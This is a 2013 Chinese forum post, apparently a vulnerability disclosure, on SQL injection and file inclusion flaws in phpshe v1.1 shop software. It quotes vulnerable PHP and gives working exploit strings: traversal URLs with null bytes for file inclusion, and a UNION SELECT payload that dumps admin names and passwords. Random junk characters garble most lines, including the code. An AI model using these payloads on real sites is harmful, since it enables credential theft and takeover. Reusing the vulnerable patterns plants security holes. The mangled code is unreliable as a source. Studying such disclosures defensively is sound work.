找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2072|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
/ u0 @7 `4 ~1 B- t8 e% f, z/* Phpshe v1.1 Vulnerability
2 V' u# h; y4 H8 Y/* ========================- |, W6 w3 A2 H
/* By: : Kn1f3
' h. ~. B1 `+ {/* E-Mail : 681796@qq.com' f, L1 A! Z3 A
/*******************************************************/
" w' I% n, B/ v/ J1 e0×00 整体大概参数传输' b8 J; u5 f. K6 Y
# I0 h2 C; o; y% v! Y

) f" A% b' R( J- j4 J7 [) ~
$ v6 w  K* R, k: ]! |7 ^6 g
//common.php& Q& ^& a9 d! |0 t. ^
if (get_magic_quotes_gpc()) {
8 }- Y  T+ ~- ?4 d!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');) F# w  v2 o# b
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');. X0 \$ y0 X( N' W: Z2 M: j5 M, p2 H
}
- X9 [; I- G! c7 i$ ~" r6 E! xelse {) h4 o9 D* A5 C1 `
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
2 {) f/ \5 D3 W! l!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');% ?! N, O3 O9 M  r1 d, i$ U
}- c- Q! n0 X) I  X- [
session_start();" h3 }# Y$ x% k% w# O" G  f* P
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
% H7 ^! y) K, d8 M!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');: M% B$ A: l! J$ g. [
. p) H( P8 F2 s2 |
0×01 包含漏洞5 l$ E  T1 }3 T, @& d9 \' I0 Z, x

- U9 S! N: X" F

8 a: q3 [& W. d5 x8 R//首页文件2 |# `6 ^6 R# A# u
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);5 d# b  F( k* b  Q3 r
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
% S8 g! l# K  v+ M+ e. o7 `3 jpe_result();
' }, @7 X+ s2 {1 X, ]& ]?>
' ?  @% d7 J: @' Q+ O/ C//common 文件 第15行开始" r0 r& c8 p8 D6 L' |& V
url路由配置- r# R9 U- H8 u
$module = $mod = $act = 'index';8 N- p  p2 e8 D( u
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
3 e( Q) ?$ R0 O& x$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);# x2 R4 V0 R; J! y- F! g7 k( _
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);4 N6 c' M* a+ h
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00' Y6 F4 b, W" K5 h9 k  P; |( x


: E3 x) b* ]0 ]" I7 P! i 8 ^2 a, q; [2 P
0×02 搜索注入$ f2 v7 i7 A7 h4 U
! [$ h: G' O. q5 v, z- p+ N  l# _
<code id="code2">

//product.php文件$ M8 }" j+ C2 K, R& u/ f. ]$ |
case 'list':! v$ j# t2 q, D# _( W+ J
$category_id = intval($id);
5 b7 R3 N! O* q7 a; Y% I$info = $db->pe_select('category', array('category_id'=>$category_id));5 M6 ?  W- ]# t1 S, D' H
//搜索
5 N3 G% ~% m9 w0 s$sqlwhere = " and `product_state` = 1";
) a- s: {9 s3 Upe_lead('hook/category.hook.php');
! {) F# ~# g2 f7 x( g  m( @; ~if ($category_id) {
4 J! ?; e! [$ uwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
- [/ H7 `: M  u5 K}4 z( f. @$ k9 Q& f
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
0 \0 n2 r8 _- }/ v( Uif ($_g_orderby) {& ]  K  t1 _5 g* h5 o/ ^
$orderby = explode('_', $_g_orderby);/ t8 w' p3 g# M2 L" y- D
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";) a! }* c" f  r! \3 e
}+ a6 F* Z2 J# I2 p% Q$ e
else {4 O0 q7 \3 J4 K' w, M7 R
$sqlwhere .= " order by `product_id` desc";
" t$ q5 b. G( u* ^: V}$ q( i4 M6 ^+ T* J' _: p5 g# N' J; V
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));: a. \7 |9 d$ M; w
//热卖排行/ d, _; ?9 C! P- H; c! J0 C4 r1 w
$product_hotlist = product_hotlist();
: {$ F# k1 F0 H' V  ?; L//当前路径
* M  W6 S0 z( U5 c, p9 V1 M$nowpath = category_path($category_id);# p: k5 \" J5 V4 r' V& _
$seo = pe_seo($info['category_name']);
4 Z" ~% I4 t& F, F: _8 a$ C" G' tinclude(pe_tpl('product_list.html'));
; }) M+ x: V/ n. ^. G//跟进selectall函数库
  ?+ b! ?* j2 [, upublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())7 ^; @# i- d# U8 J
{
- W5 V& p6 D7 w% ^, s1 O) r//处理条件语句
& U' M' q2 ~: r, b1 s8 G) C; z$sqlwhere = $this->_dowhere($where);9 N8 o6 V+ C: M. V$ }( E
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
8 y+ u0 z( L( @0 N; B9 P) x" `}% J) R1 `/ c7 }8 m* _" r1 N* E
//exp
6 v# L1 J2 |, D$ V: R" L7 cproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
( w8 J, m9 A9 g

</code>
$ }7 l6 k% I; D+ M( g$ c9 H$ P - M, H! D: }1 Z' N' ?9 h5 ]
0×03 包含漏洞2
& J+ U6 L* T2 w) o: D3 Z3 X' B# z 0 C" n5 ^, F! T# s- D' H( X
<code id="code3">

//order.php

case 'pay':

, n4 R% m& a  G: A! \* v7 t3 X& h" x
$order_id = pe_dbhold($_g_id);


" h% q4 {+ G: h9 B" U$cache_payway = cache::get('payway');

. k0 y+ U5 T$ T, W( T" e: e- ?2 `
foreach($cache_payway as $k => $v) {

$ v- y. g1 P, J/ `" L
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

! `8 L/ l$ y; T. }0 [# l. u4 d- ~" s
if ($k == 'bank') {

* S+ C/ i# ^, e8 ?5 t$ H  l; N
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

+ I' b% H2 }; a7 g) j0 C
}

8 a' P$ S% L1 r5 H
}


. L, Q4 G7 ~) [# j2 x7 v$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

. R2 ~9 p/ X* E. z, b  A' j
!$order['order_id'] && pe_error('订单号错误...');


1 _$ w1 g$ F. ], Tif (isset($_p_pesubmit)) {

1 m1 }5 d1 h3 v# o  O. t) Q7 _/ i
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


/ q! f4 S9 ^4 c9 N$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


  ]1 J" X4 l" k4 t% ^9 Fforeach ($info_list as $v) {

5 t7 ^0 T+ s, l% i- q$ U
$order['order_name'] .= "{$v['product_name']};";$ C" v; R& {3 Q8 Y/ e7 L# h8 T


& H1 P2 ?! O3 @/ t3 R}

$ u, Y" {% B1 M
echo '正在为您连接支付网站,请稍后...';

# E3 _  R1 I  ~: G3 h
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

# t: P5 |- V5 y8 N9 \- m9 C) `
}//当一切准备好的时候就可以进行"鸡肋包含了"


: ~" b7 m* c- F/ k, y+ G+ L" Xelse {

0 O& I% v; e/ J* T
pe_error('支付错误...');

5 |: M4 W) g# e, e
}


( P0 l& Z' G4 y/ F7 J7 }2 o" N: a( m1 V}


+ Z& `" \! x7 z$seo = pe_seo('选择支付方式');


9 j4 S8 }1 y  j: k- hinclude(pe_tpl('order_pay.html'));

/ k. D, s! m/ z$ v- U1 d( X, N
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>0 g' a, Z5 {& ?" o
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表